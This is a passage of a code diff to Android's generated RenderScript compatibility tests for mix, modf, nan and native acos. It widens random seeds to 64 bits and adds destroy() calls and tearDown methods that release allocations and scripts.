             scriptRelaxed.forEach_testMixFloat4Float4Float4Float4(inStart, out);
             verifyResultsMixFloat4Float4Float4Float4(inStart, inStop, inFraction, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixFloat4Float4Float4Float4: " + e.toString());
         }
+        inStart.destroy();
+        inStop.destroy();
+        inFraction.destroy();
     }
 
     private void verifyResultsMixFloat4Float4Float4Float4(Allocation inStart, Allocation inStop, Allocation inFraction, Allocation out, boolean relaxed) {
@@ -411,15 +438,16 @@
     }
 
     private void checkMixHalfHalfHalfHalf() {
-        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xa5c04055l, false);
-        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xbc69b07bl, false);
-        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x4936a9cbl, false);
+        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x3dea3b1da5c04055l, false);
+        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x764b3fabc69b07bl, false);
+        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x3115d5834936a9cbl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInStop(inStop);
             script.set_gAllocInFraction(inFraction);
             script.forEach_testMixHalfHalfHalfHalf(inStart, out);
             verifyResultsMixHalfHalfHalfHalf(inStart, inStop, inFraction, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixHalfHalfHalfHalf: " + e.toString());
         }
@@ -429,9 +457,13 @@
             scriptRelaxed.set_gAllocInFraction(inFraction);
             scriptRelaxed.forEach_testMixHalfHalfHalfHalf(inStart, out);
             verifyResultsMixHalfHalfHalfHalf(inStart, inStop, inFraction, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixHalfHalfHalfHalf: " + e.toString());
         }
+        inStart.destroy();
+        inStop.destroy();
+        inFraction.destroy();
     }
 
     private void verifyResultsMixHalfHalfHalfHalf(Allocation inStart, Allocation inStop, Allocation inFraction, Allocation out, boolean relaxed) {
@@ -506,15 +538,16 @@
     }
 
     private void checkMixHalf2Half2Half2Half2() {
-        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x2fe5c049l, false);
-        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x7114257l, false);
-        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5b09ae7l, false);
+        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x4266268b2fe5c049l, false);
+        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x3720249e07114257l, false);
+        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xd354aab305b09ae7l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInStop(inStop);
             script.set_gAllocInFraction(inFraction);
             script.forEach_testMixHalf2Half2Half2Half2(inStart, out);
             verifyResultsMixHalf2Half2Half2Half2(inStart, inStop, inFraction, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixHalf2Half2Half2Half2: " + e.toString());
         }
@@ -524,9 +557,13 @@
             scriptRelaxed.set_gAllocInFraction(inFraction);
             scriptRelaxed.forEach_testMixHalf2Half2Half2Half2(inStart, out);
             verifyResultsMixHalf2Half2Half2Half2(inStart, inStop, inFraction, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixHalf2Half2Half2Half2: " + e.toString());
         }
+        inStart.destroy();
+        inStop.destroy();
+        inFraction.destroy();
     }
 
     private void verifyResultsMixHalf2Half2Half2Half2(Allocation inStart, Allocation inStop, Allocation inFraction, Allocation out, boolean relaxed) {
@@ -601,15 +638,16 @@
     }
 
     private void checkMixHalf3Half3Half3Half3() {
-        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x25babc91l, false);
-        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xcb4bcb2fl, false);
-        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x187ca83fl, false);
+        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x9b13445c25babc91l, false);
+        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xf1bef5aecb4bcb2fl, false);
+        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x60d7d360187ca83fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInStop(inStop);
             script.set_gAllocInFraction(inFraction);
             script.forEach_testMixHalf3Half3Half3Half3(inStart, out);
             verifyResultsMixHalf3Half3Half3Half3(inStart, inStop, inFraction, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixHalf3Half3Half3Half3: " + e.toString());
         }
@@ -619,9 +657,13 @@
             scriptRelaxed.set_gAllocInFraction(inFraction);
             scriptRelaxed.forEach_testMixHalf3Half3Half3Half3(inStart, out);
             verifyResultsMixHalf3Half3Half3Half3(inStart, inStop, inFraction, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixHalf3Half3Half3Half3: " + e.toString());
         }
+        inStart.destroy();
+        inStop.destroy();
+        inFraction.destroy();
     }
 
     private void verifyResultsMixHalf3Half3Half3Half3(Allocation inStart, Allocation inStop, Allocation inFraction, Allocation out, boolean relaxed) {
@@ -696,15 +738,16 @@
     }
 
     private void checkMixHalf4Half4Half4Half4() {
-        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x1b8fb8d9l, false);
-        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x8f865407l, false);
-        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x2b48b597l, false);
+        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xf3c0622d1b8fb8d9l, false);
+        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xac5dc6bf8f865407l, false);
+        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xee5afc0d2b48b597l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInStop(inStop);
             script.set_gAllocInFraction(inFraction);
             script.forEach_testMixHalf4Half4Half4Half4(inStart, out);
             verifyResultsMixHalf4Half4Half4Half4(inStart, inStop, inFraction, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixHalf4Half4Half4Half4: " + e.toString());
         }
@@ -714,9 +757,13 @@
             scriptRelaxed.set_gAllocInFraction(inFraction);
             scriptRelaxed.forEach_testMixHalf4Half4Half4Half4(inStart, out);
             verifyResultsMixHalf4Half4Half4Half4(inStart, inStop, inFraction, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixHalf4Half4Half4Half4: " + e.toString());
         }
+        inStart.destroy();
+        inStop.destroy();
+        inFraction.destroy();
     }
 
     private void verifyResultsMixHalf4Half4Half4Half4(Allocation inStart, Allocation inStop, Allocation inFraction, Allocation out, boolean relaxed) {
@@ -791,15 +838,16 @@
     }
 
     private void checkMixFloat2Float2FloatFloat2() {
-        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x2bd1d7c3l, false);
-        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x3c8dd1c5l, false);
-        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x92afd1f5l, false);
+        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xf811b2d52bd1d7c3l, false);
+        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x17a127e13c8dd1c5l, false);
+        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe0b7d03e92afd1f5l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInStop(inStop);
             script.set_gAllocInFraction(inFraction);
             script.forEach_testMixFloat2Float2FloatFloat2(inStart, out);
             verifyResultsMixFloat2Float2FloatFloat2(inStart, inStop, inFraction, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixFloat2Float2FloatFloat2: " + e.toString());
         }
@@ -809,9 +857,13 @@
             scriptRelaxed.set_gAllocInFraction(inFraction);
             scriptRelaxed.forEach_testMixFloat2Float2FloatFloat2(inStart, out);
             verifyResultsMixFloat2Float2FloatFloat2(inStart, inStop, inFraction, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixFloat2Float2FloatFloat2: " + e.toString());
         }
+        inStart.destroy();
+        inStop.destroy();
+        inFraction.destroy();
     }
 
     private void verifyResultsMixFloat2Float2FloatFloat2(Allocation inStart, Allocation inStop, Allocation inFraction, Allocation out, boolean relaxed) {
@@ -880,15 +932,16 @@
     }
 
     private void checkMixFloat3Float3FloatFloat3() {
-        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x1b20fa80l, false);
-        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd6f4de7cl, false);
-        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xd131a27cl, false);
+        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xae7aff441b20fa80l, false);
+        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe64a4d60d6f4de7cl, false);
+        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x21bd09bbd131a27cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInStop(inStop);
             script.set_gAllocInFraction(inFraction);
             script.forEach_testMixFloat3Float3FloatFloat3(inStart, out);
             verifyResultsMixFloat3Float3FloatFloat3(inStart, inStop, inFraction, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixFloat3Float3FloatFloat3: " + e.toString());
         }
@@ -898,9 +951,13 @@
             scriptRelaxed.set_gAllocInFraction(inFraction);
             scriptRelaxed.forEach_testMixFloat3Float3FloatFloat3(inStart, out);
             verifyResultsMixFloat3Float3FloatFloat3(inStart, inStop, inFraction, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixFloat3Float3FloatFloat3: " + e.toString());
         }
+        inStart.destroy();
+        inStop.destroy();
+        inFraction.destroy();
     }
 
     private void verifyResultsMixFloat3Float3FloatFloat3(Allocation inStart, Allocation inStop, Allocation inFraction, Allocation out, boolean relaxed) {
@@ -969,15 +1026,16 @@
     }
 
     private void checkMixFloat4Float4FloatFloat4() {
-        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xa701d3dl, false);
-        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x715beb33l, false);
-        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xfb37303l, false);
+        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x64e44bb30a701d3dl, false);
+        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xb4f372e0715beb33l, false);
+        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x62c243390fb37303l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInStop(inStop);
             script.set_gAllocInFraction(inFraction);
             script.forEach_testMixFloat4Float4FloatFloat4(inStart, out);
             verifyResultsMixFloat4Float4FloatFloat4(inStart, inStop, inFraction, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixFloat4Float4FloatFloat4: " + e.toString());
         }
@@ -987,9 +1045,13 @@
             scriptRelaxed.set_gAllocInFraction(inFraction);
             scriptRelaxed.forEach_testMixFloat4Float4FloatFloat4(inStart, out);
             verifyResultsMixFloat4Float4FloatFloat4(inStart, inStop, inFraction, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixFloat4Float4FloatFloat4: " + e.toString());
         }
+        inStart.destroy();
+        inStop.destroy();
+        inFraction.destroy();
     }
 
     private void verifyResultsMixFloat4Float4FloatFloat4(Allocation inStart, Allocation inStop, Allocation inFraction, Allocation out, boolean relaxed) {
@@ -1058,15 +1120,16 @@
     }
 
     private void checkMixHalf2Half2HalfHalf2() {
-        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xc5a4349l, false);
-        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x2fea4b57l, false);
-        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xb339d3e7l, false);
+        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5a6c4ac90c5a4349l, false);
+        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xcc857ec32fea4b57l, false);
+        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xebe632db339d3e7l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInStop(inStop);
             script.set_gAllocInFraction(inFraction);
             script.forEach_testMixHalf2Half2HalfHalf2(inStart, out);
             verifyResultsMixHalf2Half2HalfHalf2(inStart, inStop, inFraction, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixHalf2Half2HalfHalf2: " + e.toString());
         }
@@ -1076,9 +1139,13 @@
             scriptRelaxed.set_gAllocInFraction(inFraction);
             scriptRelaxed.forEach_testMixHalf2Half2HalfHalf2(inStart, out);
             verifyResultsMixHalf2Half2HalfHalf2(inStart, inStop, inFraction, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixHalf2Half2HalfHalf2: " + e.toString());
         }
+        inStart.destroy();
+        inStop.destroy();
+        inFraction.destroy();
     }
 
     private void verifyResultsMixHalf2Half2HalfHalf2(Allocation inStart, Allocation inStop, Allocation inFraction, Allocation out, boolean relaxed) {
@@ -1153,15 +1220,16 @@
     }
 
     private void checkMixHalf3Half3HalfHalf3() {
-        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x204615a8l, false);
-        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x541973f4l, false);
-        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xb462aa74l, false);
+        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x825985c204615a8l, false);
+        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x9506d3ea541973f4l, false);
+        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x341608c1b462aa74l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInStop(inStop);
             script.set_gAllocInFraction(inFraction);
             script.forEach_testMixHalf3Half3HalfHalf3(inStart, out);
             verifyResultsMixHalf3Half3HalfHalf3(inStart, inStop, inFraction, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixHalf3Half3HalfHalf3: " + e.toString());
         }
@@ -1171,9 +1239,13 @@
             scriptRelaxed.set_gAllocInFraction(inFraction);
             scriptRelaxed.forEach_testMixHalf3Half3HalfHalf3(inStart, out);
             verifyResultsMixHalf3Half3HalfHalf3(inStart, inStop, inFraction, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixHalf3Half3HalfHalf3: " + e.toString());
         }
+        inStart.destroy();
+        inStop.destroy();
+        inFraction.destroy();
     }
 
     private void verifyResultsMixHalf3Half3HalfHalf3(Allocation inStart, Allocation inStop, Allocation inFraction, Allocation out, boolean relaxed) {
@@ -1248,15 +1320,16 @@
     }
 
     private void checkMixHalf4Half4HalfHalf4() {
-        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x3431e807l, false);
-        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x78489c91l, false);
-        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xb58b8101l, false);
+        Allocation inStart = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb5dee5ef3431e807l, false);
+        Allocation inStop = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x5d88291178489c91l, false);
+        Allocation inFraction = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x596dae55b58b8101l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInStop(inStop);
             script.set_gAllocInFraction(inFraction);
             script.forEach_testMixHalf4Half4HalfHalf4(inStart, out);
             verifyResultsMixHalf4Half4HalfHalf4(inStart, inStop, inFraction, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixHalf4Half4HalfHalf4: " + e.toString());
         }
@@ -1266,9 +1339,13 @@
             scriptRelaxed.set_gAllocInFraction(inFraction);
             scriptRelaxed.forEach_testMixHalf4Half4HalfHalf4(inStart, out);
             verifyResultsMixHalf4Half4HalfHalf4(inStart, inStop, inFraction, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testMixHalf4Half4HalfHalf4: " + e.toString());
         }
+        inStart.destroy();
+        inStop.destroy();
+        inFraction.destroy();
     }
 
     private void verifyResultsMixHalf4Half4HalfHalf4(Allocation inStart, Allocation inStop, Allocation inFraction, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestModf.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestModf.java
index d45efc4..7070e77 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestModf.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestModf.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestModfRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatFloat {
         public float inV;
         public Target.Floaty outIntegralPart;
@@ -44,13 +51,15 @@
     }
 
     private void checkModfFloatFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x5ccaef45l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xd655dc05ccaef45l, false);
         try {
             Allocation outIntegralPart = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.set_gAllocOutIntegralPart(outIntegralPart);
             script.forEach_testModfFloatFloatFloat(inV, out);
             verifyResultsModfFloatFloatFloat(inV, outIntegralPart, out, false);
+            outIntegralPart.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testModfFloatFloatFloat: " + e.toString());
         }
@@ -60,9 +69,12 @@
             scriptRelaxed.set_gAllocOutIntegralPart(outIntegralPart);
             scriptRelaxed.forEach_testModfFloatFloatFloat(inV, out);
             verifyResultsModfFloatFloatFloat(inV, outIntegralPart, out, true);
+            outIntegralPart.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testModfFloatFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsModfFloatFloatFloat(Allocation inV, Allocation outIntegralPart, Allocation out, boolean relaxed) {
@@ -132,13 +144,15 @@
     }
 
     private void checkModfFloat2Float2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xfa16305fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x2a1dc519fa16305fl, false);
         try {
             Allocation outIntegralPart = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocOutIntegralPart(outIntegralPart);
             script.forEach_testModfFloat2Float2Float2(inV, out);
             verifyResultsModfFloat2Float2Float2(inV, outIntegralPart, out, false);
+            outIntegralPart.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testModfFloat2Float2Float2: " + e.toString());
         }
@@ -148,9 +162,12 @@
             scriptRelaxed.set_gAllocOutIntegralPart(outIntegralPart);
             scriptRelaxed.forEach_testModfFloat2Float2Float2(inV, out);
             verifyResultsModfFloat2Float2Float2(inV, outIntegralPart, out, true);
+            outIntegralPart.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testModfFloat2Float2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsModfFloat2Float2Float2(Allocation inV, Allocation outIntegralPart, Allocation out, boolean relaxed) {
@@ -220,13 +237,15 @@
     }
 
     private void checkModfFloat3Float3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xfbf43200l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x7e82a339fbf43200l, false);
         try {
             Allocation outIntegralPart = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocOutIntegralPart(outIntegralPart);
             script.forEach_testModfFloat3Float3Float3(inV, out);
             verifyResultsModfFloat3Float3Float3(inV, outIntegralPart, out, false);
+            outIntegralPart.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testModfFloat3Float3Float3: " + e.toString());
         }
@@ -236,9 +255,12 @@
             scriptRelaxed.set_gAllocOutIntegralPart(outIntegralPart);
             scriptRelaxed.forEach_testModfFloat3Float3Float3(inV, out);
             verifyResultsModfFloat3Float3Float3(inV, outIntegralPart, out, true);
+            outIntegralPart.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testModfFloat3Float3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsModfFloat3Float3Float3(Allocation inV, Allocation outIntegralPart, Allocation out, boolean relaxed) {
@@ -308,13 +330,15 @@
     }
 
     private void checkModfFloat4Float4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xfdd233a1l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xd2e78159fdd233a1l, false);
         try {
             Allocation outIntegralPart = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocOutIntegralPart(outIntegralPart);
             script.forEach_testModfFloat4Float4Float4(inV, out);
             verifyResultsModfFloat4Float4Float4(inV, outIntegralPart, out, false);
+            outIntegralPart.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testModfFloat4Float4Float4: " + e.toString());
         }
@@ -324,9 +348,12 @@
             scriptRelaxed.set_gAllocOutIntegralPart(outIntegralPart);
             scriptRelaxed.forEach_testModfFloat4Float4Float4(inV, out);
             verifyResultsModfFloat4Float4Float4(inV, outIntegralPart, out, true);
+            outIntegralPart.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testModfFloat4Float4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsModfFloat4Float4Float4(Allocation inV, Allocation outIntegralPart, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNan.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNan.java
index 6558ab3..bee6d09 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNan.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNan.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNanRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsUintFloat {
         public int inV;
         public Target.Floaty out;
     }
 
     private void checkNanUintFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0x6a8a10d2l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xbc42cb366a8a10d2l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testNanUintFloat(inV, out);
             verifyResultsNanUintFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNanUintFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNanUintFloat(inV, out);
             verifyResultsNanUintFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNanUintFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsNanUintFloat(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanHalf.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanHalf.java
index 51f6fb7..541745b 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanHalf.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNanHalf.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestNanHalfRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsHalf {
         public Target.Floaty out;
     }
@@ -46,6 +53,7 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testNanHalfHalf(out);
             verifyResultsNanHalfHalf(out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNanHalfHalf: " + e.toString());
         }
@@ -53,6 +61,7 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testNanHalfHalf(out);
             verifyResultsNanHalfHalf(out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testNanHalfHalf: " + e.toString());
         }
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcos.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcos.java
index 2fcd1e3..7412ae2 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcos.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestNativeAcos.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestNativeAcosRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkNativeAcosFloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x657f3d94l, -1, 1);
